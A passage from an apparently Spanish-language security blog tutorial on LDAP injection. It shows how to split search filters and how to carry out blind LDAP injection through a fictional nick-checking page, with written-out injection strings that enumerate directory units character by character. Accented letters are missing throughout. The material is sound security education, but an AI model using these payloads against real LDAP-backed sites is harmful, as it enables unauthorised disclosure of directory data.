nicamente en OpenLDAP es necesario que todo el filtro sea lgico, por lo que siempre necesitaremos dos campos para poder manipular correctamente la peticin. Sin embargo en el resto (o en la mayora) de otros servidores LDAP no existe este problema, puesto que en el caso de que existan dos filtros diferentes en la misma peticin slo se realizar la bsqueda teniendo en cuenta el primer filtro mientras que el resto sern anulados. Un ejemplo de esto que acabo de comentar puede ser una aplicacin similar a la que propuse anteriormente, teniendo como filtro (&(uid=/Parametro1/)(Description=mod)). Para dividirlo en dos filtros, y que el primero mantenga una condicin TRUE podramos inyectar un vart)(ObjectClass=*))(|(ObjectClass=*, teniendo como resultado: (&(uid=vart)(ObjectClass=*))(|(ObjectClass=*)(Description=mod)). Mediante ste mtodo hemos conseguido escindir el filtro original en dos partes, de las cuales nicamente la primera [(&(uid=vart)(ObjectClass=*))] ser tomada en cuenta, mientras que la segunda (donde tenamos la condicin problema) es ignorada

0x07 Blind LDAP Injection


Al igual que ocurre con las inyecciones SQL, podemos encontrarnos con escenarios donde el filtro de bsqueda que se realiza, o los atributos a los que se aplica, los desconocemos totalmente porque la respuesta que obtenemos desde la aplicacin web

est acotada entre dos opciones: una cuando todo sea correcto (TRUE) y otra cuando no lo sea (FALSE), y no nos muestra los resultados de la consulta al servidor LDAP. Estaramos ante un caso de "Blind LDAP Injection", que como ocurre en otros ataques tambin a ciegas tendremos una respuesta de la web diferente en funcin de si la sentencia ha sido vlida o no, y deberemos de ir deduciendo paulatinamente los datos que nos interesan.

Imaginemos por ejemplo una web donde tenemos un sistema para comprobar si un nick ha sido registrado previamente por otro usuario. El nick que queremos comprobar es enviado en una peticin GET (a travs de una URL tipo www.webfake.com/checking.php?query=nick) a un PHP que incluir nuestro nick en una consulta de bsqueda a un rbol LDAP. Esta consulta consiste en (&(cn=nick)(ou=web)). Si el resultado de esta consulta fuese TRUE, es decir devuelve alguna entrada, significara que ese usuario ya existe y la aplicacin web mostrara el mensaje "Nick Registrado, pruebe otro". En el caso contrario, cuando la consulta fuese infructuosa, aparecera el mensaje "Nick libre".

El escenario ya est montado, y tiene todos los ingredientes de un entorno a ciegas: 2 posibles respuestas ("Nick registrado" cuando la consulta devuelva algn valor; "Nick libre" cuando la consulta no devuelva nada) y un campo donde inyectar. Lo primero sera intentar averiguar cmo escapar de la segunda condicin del filtrado para que en realidad se busque lo que nosotros queremos (en caso de OpenLDAP esto no se puede realizar como ya vimos ms arriba por la necesidad de dos campos en los que inyectar), asi que procederamos a trabajar con "*", ObjectClass (es lo ms genrico) y parntesis "( )" hasta que se nos mostrase el mensaje "Nick registrado": (&(cn=*)( )(ou=web)) => Nick Libre (&(cn=*)(ObjectClass=* )(ou=web)) => Nick registrado De esta forma ya hemos detectado que el filtro debe de ser algo tipo: (&(Atributo1=[Nick que insertamos])(atributo2=Loquesea)(...)). Obsrvese que no indico qu numero de filtros se aplican, ni a qu atributos porque no lo conocemos. El siguiente paso lgico sera liberar las ataduras que nos imponen el resto de filtros que nosotros no podemos manipular, para ello emplearamos el truco visto ms arriba: escindir el filtro en dos, para que el segundo sea ignorado: (&(cn=*)(ObjectClass=*))(&(ObjectClass=*)(ou=web)) => Nick Registrado Una vez que ya hemos "bypasseado" aquello que nos estorbaba podremos ir deduciendo informacin interesante. Por ejemplo, podramos realizar una consulta para averiguar qu Organizational units existen a travs de la reduccin de caracteres va un pequeo bruteforce dirigido: /checking.php?query=*)(ou=a*))(&(ObjectClass=* => Nick Libre /checking.php?query=*)(ou=b*))(&(ObjectClass=* => Nick Libre .... /checking.php?query=*)(ou=f*))(&(ObjectClass=* =>Nick registrado

Ya sabemos el primer carcter de un subdirectorio, ahora a por el segundo: /checking.php?query=*)(ou=fa*))(&(ObjectClass=* => Nick Libre /checking.php?query=*)(ou=fb*))(&(ObjectClass=* => Nick Libre ... /checking.php?query=*)(ou=ft*))(&(ObjectClass=* => Nick registrado Y as sucesivamente, hasta que averigusemos el nombre concreto (en este caso era ftp_users), con cada carcter. Para ello podemos elaborar un exploit que nos agilice el proceso.

0x08 Despedida
No he revisado el texto, que fue escrito en Marzo de 2012, por lo que puede contenter errores. Si encontrais alguno, podeis reportarlo al correo overloadblog [at] Hotmail [dot] com , o al twitter @TheXC3LL .

Para ampliar informacin, por google encontrareis mucho material sobre LDAP. Tambin hay algunos papers publicados sobre las vulnerabilidades aqu comentadas, entre los que destaco los publicados por Chema Alonso respecto a Blind LDAP Injections.

También podría gustarte